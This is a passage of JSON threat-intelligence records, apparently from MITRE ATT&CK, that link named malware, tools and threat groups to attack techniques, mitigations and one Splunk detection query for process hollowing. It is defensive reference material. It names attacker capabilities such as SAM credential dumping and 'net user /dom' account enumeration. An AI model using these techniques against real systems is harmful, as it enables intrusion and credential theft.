2020."}],"modified":"2020-05-06T21:01:23.426Z","description":"[Attor](https://attack.mitre.org/software/S0438) can download additional plugins, updates and other files. (Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Wikipedia pwdump","description":"Wikipedia. (2007, August 9). pwdump. Retrieved June 22, 2016.","url":"https://en.wikipedia.org/wiki/Pwdump"}],"modified":"2020-08-13T20:12:50.925Z","description":"[pwdump](https://attack.mitre.org/software/S0006) can be used to dump credentials from the SAM.(Citation: Wikipedia pwdump)","relationship_type":"uses","source_ref":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57a31238-b362-4c07-b8ae-45a619ece297","type":"relationship","created":"2020-01-24T14:56:24.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:56:24.425Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57a7fefa-774b-4653-af2d-ebf3e2e315ce","type":"relationship","created":"2019-01-29T20:09:31.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/275683","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","source_name":"FireEye APT33 Webinar Sept 2017"}],"modified":"2019-06-28T15:05:33.695Z","description":"(Citation: FireEye APT33 Webinar Sept 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57a9c0ef-6b92-415e-9f72-a78483e35f5f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:57.937Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) saves each collected file with the automatically generated format {0:dd-MM-yyyy}.txt .(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57aa85a9-8484-4a1a-947f-3d266d2b3c7d","type":"relationship","created":"2021-06-11T16:48:44.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T16:48:44.895Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can gain system level privilege by passing SeDebugPrivilege to the AdjustTokenPrivilege API.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57ac1c4f-03fb-4b9e-a4b3-21eb76e7e305","type":"relationship","created":"2021-03-12T16:55:09.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T16:55:09.336Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) retrieved a list of the system's network interface after execution.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57ad2c1a-785c-46ad-bdf1-2f9afe2389e8","type":"relationship","created":"2020-11-10T20:55:27.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T20:55:27.271Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) has the ability to download additional files to a compromised host.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57b4f42b-02e2-4cee-98f0-d6935c1e2c7b","type":"relationship","created":"2019-07-19T17:27:02.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-03-23T22:13:35.096Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) has used VPN services, including SoftEther VPN, to access and maintain persistence in victim environments.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57bf3d4d-788c-43f9-b35b-a76b68a0b02d","created":"2024-09-16T08:55:30.501Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:55:30.501Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can enumerate local user accounts.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57bf4742-638a-41fe-8c09-e0f690b74190","type":"relationship","created":"2020-06-10T18:20:44.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.378Z","description":"[BBK](https://attack.mitre.org/software/S0470) has the ability to use HTTP in communications with C2.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57c067b0-1325-4bb7-a950-198a6332c8ba","type":"relationship","created":"2020-10-20T03:33:58.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:45:30.962Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57c700c6-e301-4433-84bd-722934f9d922","type":"relationship","created":"2020-08-13T16:51:23.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-09-02T19:29:12.321Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has added Registry Run keys to establish persistence.(Citation: FireEye Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57c72f80-38bf-48b4-9f5d-eefef4025e34","type":"relationship","created":"2021-11-17T16:29:23.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-17T16:29:23.658Z","description":"The [Clambling](https://attack.mitre.org/software/S0660) executable has been obfuscated when dropped on a compromised host.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--57c8dc86-93a0-43d6-a47c-f0f5892948b3","created":"2022-09-01T14:26:01.010Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."},{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) has relied on victims' opening a malicious file for initial execution.(Citation: SecureWorks August 2019)(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-09-01T14:26:01.010Z","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57cb89ed-ead5-46b1-ade9-68e580274f65","type":"relationship","created":"2020-08-13T18:21:08.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2020-08-13T18:21:08.617Z","description":"[MCMD](https://attack.mitre.org/software/S0500) can modify processes to prevent them from being visible on the desktop.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57ce9ed8-5acb-4acf-8a66-39b9ab829273","created":"2023-08-11T21:36:59.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T19:44:57.027Z","description":"Monitor for newly executed processes that may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Adversaries may start legitimate processes and then use their memory space to run malicious code. This analytic looks for common Windows processes that have been abused this way in the past; when the processes are started for this purpose they may not have the standard parent that we would expect. This list is not exhaustive, and it is possible for cyber actors to avoid this discepency. These signatures only work if Sysmon reports the parent process, which may not always be the case if the parent dies before sysmon processes the event.\n\nAnalytic 1 - Processes Started From Irregular Parents\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND ParentImage!=\"?\" AND ParentImage!=\"C:\\\\Program Files\\\\SplunkUniversalForwarder\\\\bin\\\\splunk-regmon.exe\" AND ParentImage!=\"C:\\\\Program Files\\\\SplunkUniversalForwarder\\\\bin\\\\splunk-powershell.exe\" AND\n((Image=\"C:\\\\Windows\\System32\\\\smss.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\smss.exe\" AND ParentImage!=\"System\")) OR\n(Image=\"C:\\\\Windows\\\\System32\\\\csrss.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\smss.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\svchost.exe\")) OR\n(Image=\"C:\\\\Windows\\\\System32\\\\wininit.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\smss.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\winlogon.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\smss.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\lsass.exe\" and ParentImage!=\"C:\\\\Windows\\\\System32\\\\wininit.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\LogonUI.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\winlogon.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\wininit.exe\")) OR\n(Image=\"C:\\\\Windows\\\\System32\\\\services.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\wininit.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\spoolsv.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\services.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\taskhost.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\services.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\svchost.exe\")) OR\n(Image=\"C:\\\\Windows\\\\System32\\\\taskhostw.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\services.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\svchost.exe\")) OR\n(Image=\"C:\\\\Windows\\System32\\\\userinit.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\dwm.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\winlogon.exe\")))","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57d1a497-ef75-46de-b284-eefa90a99172","type":"relationship","created":"2019-06-13T16:47:55.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx","description":"Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.","source_name":"Microsoft BITS"}],"modified":"2021-04-13T21:36:05.231Z","description":"\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS.(Citation: Microsoft BITS)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57d595d2-4363-4816-826e-91e45dd364e5","created":"2023-03-26T20:45:36.284Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:45:36.284Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used administrative accounts to connect over SMB to targeted users.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57da83d5-2698-41b0-92b8-a92da8a4599c","created":"2020-08-27T17:29:05.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.420Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has has used net user /dom and net user Administrator to enumerate domain accounts including administrator accounts.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57db6603-303e-4749-8a92-2e4021aee764","type":"relationship","created":"2021-03-30T17:56:37.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T13:04:01.115Z","description":"Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--800f9819-7007-4540-a520-40e655876800","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57de7812-f3b0-44d1-9548-856a26278568","type":"relationship","created":"2020-11-13T20:23:31.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:23:31.081Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can collect the username from the victim's machine.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:44.954Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create a link to itself in the Startup folder to automatically start itself upon system restart.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57e57dc4-b813-4e5c-882a-0021c7e0ff22","type":"relationship","created":"2020-05-20T19:54:06.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.787Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can check for connected USB devices.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-flame-questions-and-answers-51/34344/","description":"Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","source_name":"Kaspersky Flame"},{"url":"https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/","description":"Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice…. Retrieved March 1, 2017.","source_name":"Kaspersky Flame Functionality"}],"modified":"2020-03-27T00:25:23.064Z","description":"[Flame](https://attack.mitre.org/software/S0143) can create backdoor accounts with login “HelpAssistant” on domain connected systems if appropriate rights are available.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57e7d8ef-33dd-4a08-bce2-e516a9662383","created":"2023-03-17T15:06:39.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T19:22:03.730Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used tools that collected `GetTickCount` and `GetSystemTimeAsFileTime` data to detect sandbox or VMware services.(Citation: ClearSky Lazarus Aug 